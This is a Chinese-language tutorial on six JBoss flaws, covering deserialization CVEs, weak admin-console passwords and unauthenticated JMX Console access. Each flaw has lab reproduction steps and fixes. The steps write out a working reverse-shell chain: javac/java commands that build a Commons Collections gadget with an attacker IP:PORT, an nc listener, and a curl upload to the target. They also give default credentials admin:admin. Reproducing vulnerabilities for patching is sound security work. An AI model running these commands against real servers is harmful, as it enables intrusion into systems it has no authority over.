前言:jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。 默认端口:8080,9990
目录
一、jboss 代码执行 (CVE-2017-12149)
1.漏洞介绍
2.漏洞复现
3.修复建议
二、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
1.漏洞介绍
2.漏洞复现
3.修复建议
三、JBoss EJBInvokerServlet 反序列化漏洞
1.漏洞概述
2.漏洞复现
3.修复建议
四、JBossMQJMS 反序列化漏洞(CVE-2017-7504)
1.漏洞简介
2.漏洞复现
3.修复建议
五、JBoss Administration Console 弱口令&&getshell
1.漏洞概述
2.漏洞复现
3.修复建议
六、JBoss JMX Console未授权访问
1.漏洞概述
2.漏洞复现
3.修复建议
1.1影响范围
JBoss 5.x/6.x
1.2漏洞原理
在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码
使用vulfocus在线靶场
访问 /invoker/readonly 如果返回500,说明此页面就可能存在反序列化漏洞。
直接使用 jboss反序列化_CVE-2017-12149工具
还有一种反弹shell的方法,可以参考下面的复现,一样的利用方法只需要把路径改一下就行
1.升级到JBOSS7
2.不需要 http-invoker.sar 组件的用户可直接删除此组件。
3.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:
1.1影响版本
Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;
Fuse 6.x版本;
Fuse Service Works (FSW) 6.x版本;
Operations Network (JBoss ON) 3.x版本;
Portal 6.x版本;
SOA Platform (SOA-P) 5.x版本;
Web Server (JWS) 3.x版本;
Red Hat OpenShift/xPAAS 3.x版本;
Red Hat Subscription Asset Manager 1.3版本。
1.2漏洞原理
JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
使用vulfocus在线靶场
访问网站页面/invoker/JMXInvokerServlet页面如果弹出下载JMXInvokerServlet文件的页面,则证明存在漏洞
下载反序列化工具:https://github.com/ianxtianxt/CVE-2015-7501/
下载后解压完,进入到工具目录 ,执行命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
继续执行命令(IP是攻击机,PORT是要监听的端口):
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:PORT
新界面开启nc监听准备接收反弹过来的shell
nc -lvnp 监听的端口
这个时候在工具的目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
1.目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:
Red Hat - We make open source technologies for the enterprise
2.不需要 http-invoker.sar 组件的用户可直接删除此组件。
路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404
3.添加访问控制代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制
1.1影响版本
主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
1.2漏洞原理
此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于JMXInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而EJBInvokerServlet利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是/invoker/EJBInvokerServlet,在这里就不复现了,复现请参考CVE-2015-7501
1.不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404
2.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制
1.1影响版本
JBoss <=4.x
1.2漏洞原理
JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
使用vulfocus在线靶场
访问/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL,说明存在反序列化漏洞。
利用工具:JavaDeserH2HC,也可以利用上面介绍的那款反序列化工具
也是推荐在linux操作系统使用该工具
我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:
生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser(ip是要攻击机的ip,port是要监听的端口)
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
新开一个窗口用nc监听刚刚的端口
nc -lnvp port
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹
升级至不受影响的版本
1.1影响版本
全版本
1.2漏洞原理
Administration Console管理页面存在弱口令,admin:admin,登陆后台上传包含shell的war包并部署,再用后门工具连接即可
参考:Jboss 4.x版本jmx-console控制台弱口令getshell_努力的学渣'#的博客-CSDN博客_jboss弱口令
1. 修改密码jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.propertie
2. 或删除Administration Console页面。
JBoss版本>=6.0,admin-console页面路径为: C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
1.1影响版本
全版本
1.2漏洞原理
JBoss不仅提供了线程内存的信息,还有一些MBean会对Jboss系统产生影响,默认情况下, JBoss启动后可以通过访问 http://localhost:8080/jmx-console 浏览jboss的部署管理的一些信息以及一些自定义的JMX服务,不需要输入用户名和密码,攻击者知道服务器的IP和端口后就可以访问Jboss的Jmx-console通过Mbean攻击服务器
参考:【实战】Jboss未授权访问(JMX-Console)Getshell_郑好_zh的博客-CSDN博客
1.增加密码措施,防止未授权访问
在C:\jboss-版本号Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml开启安全配置
2.在C:\jboss-版本号Final\common\deploy\jmx-console.war\WEB-INF\web.xml开启安全认证。